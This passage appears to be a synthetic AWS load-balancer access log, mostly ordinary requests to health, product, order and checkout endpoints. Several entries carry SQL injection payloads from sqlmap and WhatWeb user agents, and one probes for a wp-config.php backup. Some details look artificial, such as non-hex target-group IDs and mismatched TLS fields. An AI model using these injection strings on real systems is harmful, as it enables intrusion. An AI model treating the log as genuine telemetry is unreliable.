Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2ca-0794b3e93228406ea04a9457" "prod-api-alb.example.com" "-" 10 2024-11-01T00:47:54.153759Z "forward" "-" "-" "10.0.69.29:443" "301" "-" "-" -https 2024-11-01T00:47:54.404656Z prod-api-alb 135.8.7.70:26640 10.0.73.54:443 0.077017 0.269609 0.015669 404 404 179 7098 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2ca-3b9b97804ef8485287ac61f5" "-" "-" 9 2024-11-01T00:47:54.404656Z "forward" "-" "-" "10.0.73.54:443" "404" "-" "-" -https 2024-11-01T00:47:55.276992Z prod-web-alb 45.157.108.250:48184 10.0.177.200:443 0.018226 0.237757 0.049898 404 404 808 3914 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2cb-27b2fbcc189044639b8afdc4" "prod-web-alb.example.com" "-" 2 2024-11-01T00:47:55.276992Z "forward" "-" "-" "10.0.177.200:443" "404" "-" "-" -http 2024-11-01T00:47:56.700429Z staging-alb 1.228.40.205:29700 36.60.12.51:443 0.088806 0.281310 0.030578 200 200 721 4485 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2cc-f6a2b6e21eea4efd8e00d1df" "staging-alb.example.com" "-" 9 2024-11-01T00:47:56.700429Z "forward" "-" "-" "36.60.12.51:443" "200" "-" "-" -https 2024-11-01T00:47:58.321462Z prod-web-alb 242.86.0.171:26300 10.0.20.212:443 0.077912 0.482619 0.026983 301 301 384 1535 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2ce-01783a46cf584adbaa728044" "prod-web-alb.example.com" "-" 6 2024-11-01T00:47:58.321462Z "forward" "-" "-" "10.0.20.212:443" "301" "-" "-" -https 2024-11-01T00:48:00.073093Z prod-api-alb 27.234.32.103:16430 10.0.226.24:443 0.093511 0.469376 0.090846 200 200 834 818 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2d0-a9891434ac024b4d94416c48" "prod-api-alb.example.com" "-" 2 2024-11-01T00:48:00.073093Z "forward" "-" "-" "10.0.226.24:443" "200" "-" "-" -http 2024-11-01T00:48:01.048237Z staging-alb 104.152.109.194:25820 151.154.98.70:443 0.052653 0.478591 0.022437 200 200 500 1359 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2d1-2ef3e648ef024819b9022fd4" "staging-alb.example.com" "-" 1 2024-11-01T00:48:01.048237Z "forward" "-" "-" "151.154.98.70:443" "200" "-" "-" -https 2024-11-01T00:48:02.311883Z staging-alb 119.223.71.83:41959 139.79.202.167:443 0.043413 0.468321 0.075684 404 404 643 5202 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2d2-32a3ea5b440b40d48cad7753" "staging-alb.example.com" "-" 2 2024-11-01T00:48:02.311883Z "forward" "-" "-" "139.79.202.167:443" "404" "-" "-" -https 2024-11-01T00:48:02.686117Z prod-api-alb 60.203.0.61:51054 10.0.125.197:443 0.064133 0.218943 0.086274 301 301 26 10707 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2d2-b8b9e800e4fc4018942af8d8" "prod-api-alb.example.com" "-" 10 2024-11-01T00:48:02.686117Z "forward" "-" "-" "10.0.125.197:443" "301" "-" "-" -http 2024-11-01T00:48:03.585473Z staging-alb 193.27.228.131:28914 78.38.47.0:8080 0.141649 0.048893 0.001182 403 403 781 12119 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2d3-e938c9ecb7e64d809865f71c" "-" "-" 10 2024-11-01T00:48:03.585473Z "forward" "-" "-" "78.38.47.0:8080" "403" "-" "-" -https 2024-11-01T00:48:04.637880Z prod-api-alb 185.181.39.39:31183 10.0.69.168:443 0.051911 0.216706 0.054562 200 200 593 11544 "GET /search?q=1' UNION SELECT HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2d4-88fc94ffedb6458e8e00297d" "-" "-" 6 2024-11-01T00:48:04.637880Z "forward" "-" "-" "10.0.69.168:443" "200" "-" "-" -https 2024-11-01T00:48:05.718370Z prod-api-alb 100.11.47.205:63125 10.0.28.136:443 0.066885 0.339477 0.084315 200 200 595 3920 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2d5-f71e287f75c744cbad8b7984" "prod-api-alb.example.com" "-" 0 2024-11-01T00:48:05.718370Z "forward" "-" "-" "10.0.28.136:443" "200" "-" "-" -https 2024-11-01T00:48:06.622037Z staging-alb 73.152.49.57:27223 23.78.204.220:443 0.121495 0.607885 0.137243 302 302 90 14871 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2d6-8f9d0f6bb874488b8868d871" "staging-alb.example.com" "-" 8 2024-11-01T00:48:06.622037Z "forward" "-" "-" "23.78.204.220:443" "302" "-" "-" -https 2024-11-01T00:48:06.792618Z staging-alb 190.229.31.252:23609 49.225.230.108:80 0.044378 0.359501 0.088031 301 301 568 8987 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2d6-77bee90c00164908ae074363" "staging-alb.example.com" "-" 7 2024-11-01T00:48:06.792618Z "forward" "-" "-" "49.225.230.108:80" "301" "-" "-" -https 2024-11-01T00:48:07.172051Z prod-api-alb 197.185.74.73:19438 10.0.62.250:443 0.081534 0.268865 0.069625 200 200 719 8529 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2d7-cb72cbd3f1484129a1db420c" "prod-api-alb.example.com" "-" 6 2024-11-01T00:48:07.172051Z "forward" "-" "-" "10.0.62.250:443" "200" "-" "-" -https 2024-11-01T00:48:08.066740Z prod-api-alb 81.85.24.144:21055 10.0.66.62:443 0.016675 0.206561 0.060889 200 200 410 8537 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2d8-337c073a54ce4e22b72dcec5" "prod-api-alb.example.com" "-" 8 2024-11-01T00:48:08.066740Z "forward" "-" "-" "10.0.66.62:443" "200" "-" "-" -https 2024-11-01T00:48:09.138831Z prod-api-alb 138.249.69.54:47640 10.0.224.14:443 0.014649 0.145551 0.037259 200 200 534 10251 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2d9-72a0613e8eb94b6caaa0b21d" "prod-api-alb.example.com" "-" 7 2024-11-01T00:48:09.138831Z "forward" "-" "-" "10.0.224.14:443" "200" "-" "-" -http 2024-11-01T00:48:09.639289Z staging-alb 21.112.125.145:10535 108.133.97.201:8080 0.064043 0.467261 0.147934 200 200 161 9092 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2d9-8d75c4b40b9440609a160e89" "staging-alb.example.com" "-" 2 2024-11-01T00:48:09.639289Z "forward" "-" "-" "108.133.97.201:8080" "200" "-" "-" -https 2024-11-01T00:48:10.570880Z prod-api-alb 175.100.51.224:42385 10.0.181.35:443 0.033495 0.270183 0.042113 301 301 397 8157 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2da-681e0ab201584dc0950b481c" "prod-api-alb.example.com" "-" 1 2024-11-01T00:48:10.570880Z "forward" "-" "-" "10.0.181.35:443" "301" "-" "-" -https 2024-11-01T00:48:12.501859Z prod-web-alb 185.28.194.252:45790 10.0.212.46:443 0.094887 0.263381 0.031420 200 200 6 1886 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2dc-0bef1b55398e4f97866a6537" "prod-web-alb.example.com" "-" 1 2024-11-01T00:48:12.501859Z "forward" "-" "-" "10.0.212.46:443" "200" "-" "-" -http 2024-11-01T00:48:13.955447Z staging-alb 147.83.34.167:39291 60.121.178.97:8080 0.110626 0.538239 0.066864 200 200 95 1747 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2dd-3886f092f7524756b875157a" "staging-alb.example.com" "-" 0 2024-11-01T00:48:13.955447Z "forward" "-" "-" "60.121.178.97:8080" "200" "-" "-" -https 2024-11-01T00:48:14.980271Z prod-api-alb 78.199.134.120:30875 10.0.162.22:443 0.054657 0.366727 0.058074 200 200 852 9645 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2de-ab8dd1c26d5548318b9141d9" "prod-api-alb.example.com" "-" 7 2024-11-01T00:48:14.980271Z "forward" "-" "-" "10.0.162.22:443" "200" "-" "-" -https 2024-11-01T00:48:16.552649Z prod-api-alb 146.51.220.167:14933 10.0.103.45:443 0.012236 0.009295 0.085587 404 404 937 12923 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2e0-52ee642b02a042c9be2228bd" "prod-api-alb.example.com" "-" 2 2024-11-01T00:48:16.552649Z "forward" "-" "-" "10.0.103.45:443" "404" "-" "-" -https 2024-11-01T00:48:17.799714Z prod-web-alb 190.125.61.30:18293 10.0.166.154:443 0.006032 0.235825 0.056053 200 200 72 6139 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2e1-d69bd60512d240f19007f694" "prod-web-alb.example.com" "-" 4 2024-11-01T00:48:17.799714Z "forward" "-" "-" "10.0.166.154:443" "200" "-" "-" -https 2024-11-01T00:48:19.027479Z prod-api-alb 187.33.28.111:19182 10.0.188.234:443 0.059748 0.370639 0.035627 301 301 599 1205 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2e3-bff8a8b33cce49118db42a69" "prod-api-alb.example.com" "-" 3 2024-11-01T00:48:19.027479Z "forward" "-" "-" "10.0.188.234:443" "301" "-" "-" -https 2024-11-01T00:48:19.320313Z prod-web-alb 185.181.166.125:32669 10.0.79.30:443 0.069245 0.156701 0.022378 301 301 711 14828 "POST /wp-config.php.bak HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2e3-009b3b2df3de4eb4a0f0259c" "-" "-" 4 2024-11-01T00:48:19.320313Z "forward" "-" "-" "10.0.79.30:443" "301" "-" "-" -https 2024-11-01T00:48:20.578247Z prod-web-alb 176.166.30.159:24909 10.0.237.50:443 0.042420 0.146359 0.003419 301 301 912 5076 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2e4-9d342c6a2aee4f52ab58196f" "prod-web-alb.example.com" "-" 1 2024-11-01T00:48:20.578247Z "forward" "-" "-" "10.0.237.50:443" "301" "-" "-" -https 2024-11-01T00:48:20.909243Z staging-alb 73.108.179.184:11004 29.235.141.198:80 0.131387 0.167398 0.044825 302 302 167 8894 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2e4-be8cc42c891a48b39aad98bf" "staging-alb.example.com" "-" 10 2024-11-01T00:48:20.909243Z "forward" "-" "-" "29.235.141.198:80" "302" "-" "-" -https 2024-11-01T00:48:22.767178Z prod-web-alb 170.116.107.150:48106 10.0.226.94:443 0.041804 0.223274 0.000936 302 302 625 7905 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2e6-ba4ec96edeff4d64807aa05d" "prod-web-alb.example.com" "-" 2 2024-11-01T00:48:22.767178Z "forward" "-" "-" "10.0.226.94:443" "302" "-" "-" -https 2024-11-01T00:48:23.580751Z prod-api-alb 193.27.228.38:12080 10.0.201.251:443 0.049647 0.098275 0.078385 200 200 903 10559 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2e7-6ba4da7b81ee43fe8b6c6bd0" "-" "-" 10 2024-11-01T00:48:23.580751Z "forward" "-" "-" "10.0.201.251:443" "200" "-" "-" -https 2024-11-01T00:48:25.377131Z prod-web-alb 141.106.154.96:39110 10.0.165.73:443 0.037148 0.200528 0.024857 302 302 897 8162 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2e9-89ba732091134072bc2574fb" "prod-web-alb.example.com" "-" 1 2024-11-01T00:48:25.377131Z "forward" "-" "-" "10.0.165.73:443" "302" "-" "-" -https 2024-11-01T00:48:26.258142Z staging-alb 197.144.117.43:23763 250.180.91.206:8080 0.027723 0.121469 0.134595 200 200 483 1595 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2ea-b3584ab9ccf54ac6a021369d" "staging-alb.example.com" "-" 1 2024-11-01T00:48:26.258142Z "forward" "-" "-" "250.180.91.206:8080" "200" "-" "-" -https 2024-11-01T00:48:27.861039Z prod-web-alb 194.75.171.227:14712 10.0.59.94:443 0.001782 0.389360 0.062763 200 200 507 14542 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2eb-2b41e7aa64ef4133aa08793d" "prod-web-alb.example.com" "-" 2 2024-11-01T00:48:27.861039Z "forward" "-" "-" "10.0.59.94:443" "200" "-" "-" -https 2024-11-01T00:48:28.155998Z prod-api-alb 213.20.1.185:35330 10.0.102.107:443 0.061825 0.373509 0.097097 200 200 340 5122 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2ec-6798b8b15d3a43fbbcfafd2d" "prod-api-alb.example.com" "-" 6 2024-11-01T00:48:28.155998Z "forward" "-" "-" "10.0.102.107:443" "200" "-" "-" -https 2024-11-01T00:48:29.500479Z staging-alb 184.155.51.135:55094 167.228.77.134:443 0.057195 0.376048 0.145292 404 404 720 9247 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2ed-2ae47cc6481c47b4902ef149" "staging-alb.example.com" "-" 8 2024-11-01T00:48:29.500479Z "forward" "-" "-" "167.228.77.134:443" "404" "-" "-" -https 2024-11-01T00:48:31.016272Z prod-web-alb 92.23.164.204:13317 10.0.248.171:443 0.002963 0.379934 0.011953 200 200 952 8035 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2ef-5bd3829ffbb04bf68825d828" "prod-web-alb.example.com" "-" 1 2024-11-01T00:48:31.016272Z "forward" "-" "-" "10.0.248.171:443" "200" "-" "-" -https 2024-11-01T00:48:32.939264Z prod-api-alb 74.138.250.59:50323 10.0.199.132:443 0.003338 0.161083 0.004387 301 301 257 12262 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2f0-a705a543fa8f408d86166baa" "prod-api-alb.example.com" "-" 8 2024-11-01T00:48:32.939264Z "forward" "-" "-" "10.0.199.132:443" "301" "-" "-" -https 2024-11-01T00:48:34.321769Z prod-api-alb 113.195.59.179:42609 10.0.119.243:443 0.066546 0.130102 0.095191 200 200 169 12098 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2f2-4fcde331b2d04ed1a710e7a7" "prod-api-alb.example.com" "-" 6 2024-11-01T00:48:34.321769Z "forward" "-" "-" "10.0.119.243:443" "200" "-" "-" -https 2024-11-01T00:48:35.538418Z prod-api-alb 80.20.120.31:49048 10.0.117.247:443 0.040514 0.016361 0.094895 404 404 557 6060 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2f3-bc466c7aa96140da8429ff05" "prod-api-alb.example.com" "-" 5 2024-11-01T00:48:35.538418Z "forward" "-" "-" "10.0.117.247:443" "404" "-" "-" -https 2024-11-01T00:48:37.292850Z prod-web-alb 182.202.147.24:43230 10.0.174.79:443 0.029701 0.315044 0.042461 302 302 122 4484 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2f5-ef1829af105e493aab58c45e" "prod-web-alb.example.com" "-" 0 2024-11-01T00:48:37.292850Z "forward" "-" "-" "10.0.174.79:443" "302" "-" "-" -https 2024-11-01T00:48:37.661316Z prod-web-alb 201.25.215.166:17243 10.0.178.15:443 0.028883 0.176673 0.019081 200 200 862 13497 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2f5-9f150b5744814376bb32eef6" "prod-web-alb.example.com" "-" 6 2024-11-01T00:48:37.661316Z "forward" "-" "-" "10.0.178.15:443" "200" "-" "-" -https 2024-11-01T00:48:38.064189Z prod-web-alb 199.201.90.64:26127 10.0.165.140:443 0.011185 0.228275 0.036051 301 301 823 4041 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2f6-194435cc03af4e2e9f5d9646" "prod-web-alb.example.com" "-" 6 2024-11-01T00:48:38.064189Z "forward" "-" "-" "10.0.165.140:443" "301" "-" "-" -http 2024-11-01T00:48:39.298007Z staging-alb 245.201.9.176:30831 68.3.59.25:8080 0.085858 0.178711 0.085514 200 200 3 10400 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2f7-e69718e4e5f5494883c88086" "staging-alb.example.com" "-" 3 2024-11-01T00:48:39.298007Z "forward" "-" "-" "68.3.59.25:8080" "200" "-" "-" -http 2024-11-01T00:48:40.900927Z staging-alb 17.128.215.21:13321 24.44.50.27:80 0.000262 0.511391 0.005997 200 200 902 13534 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2f8-bb85cfe8eebf47acac312f2b" "staging-alb.example.com" "-" 6 2024-11-01T00:48:40.900927Z "forward" "-" "-" "24.44.50.27:80" "200" "-" "-" -https 2024-11-01T00:48:41.291334Z prod-api-alb 140.133.131.75:25350 10.0.218.28:443 0.016732 0.346015 0.003685 200 200 279 667 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2f9-6f46c7042e8e4a859f2642cf" "prod-api-alb.example.com" "-" 9 2024-11-01T00:48:41.291334Z "forward" "-" "-" "10.0.218.28:443" "200" "-" "-" -https 2024-11-01T00:48:42.653897Z prod-web-alb 124.225.204.9:22109 10.0.22.205:443 0.066449 0.380336 0.009714 302 302 669 12779 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2fa-f5e4b6ddb2a2414fa088f444" "prod-web-alb.example.com" "-" 4 2024-11-01T00:48:42.653897Z "forward" "-" "-" "10.0.22.205:443" "302" "-" "-" -https 2024-11-01T00:48:44.065731Z staging-alb 85.189.100.97:59327 184.40.215.219:8080 0.042867 0.197561 0.032432 302 302 871 14144 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2fc-034762687da04fb9ba879661" "staging-alb.example.com" "-" 0 2024-11-01T00:48:44.065731Z "forward" "-" "-" "184.40.215.219:8080" "302" "-" "-" -http 2024-11-01T00:48:45.456608Z staging-alb 191.231.104.137:36631 206.160.174.29:8080 0.142573 0.022183 0.115428 200 200 16 7343 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2fd-4b2a6bd1f2454587b4416798" "staging-alb.example.com" "-" 1 2024-11-01T00:48:45.456608Z "forward" "-" "-" "206.160.174.29:8080" "200" "-" "-" -https 2024-11-01T00:48:45.818183Z staging-alb 32.97.171.248:59724 219.119.106.112:443 0.114793 0.449579 0.002925 200 200 300 14951 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 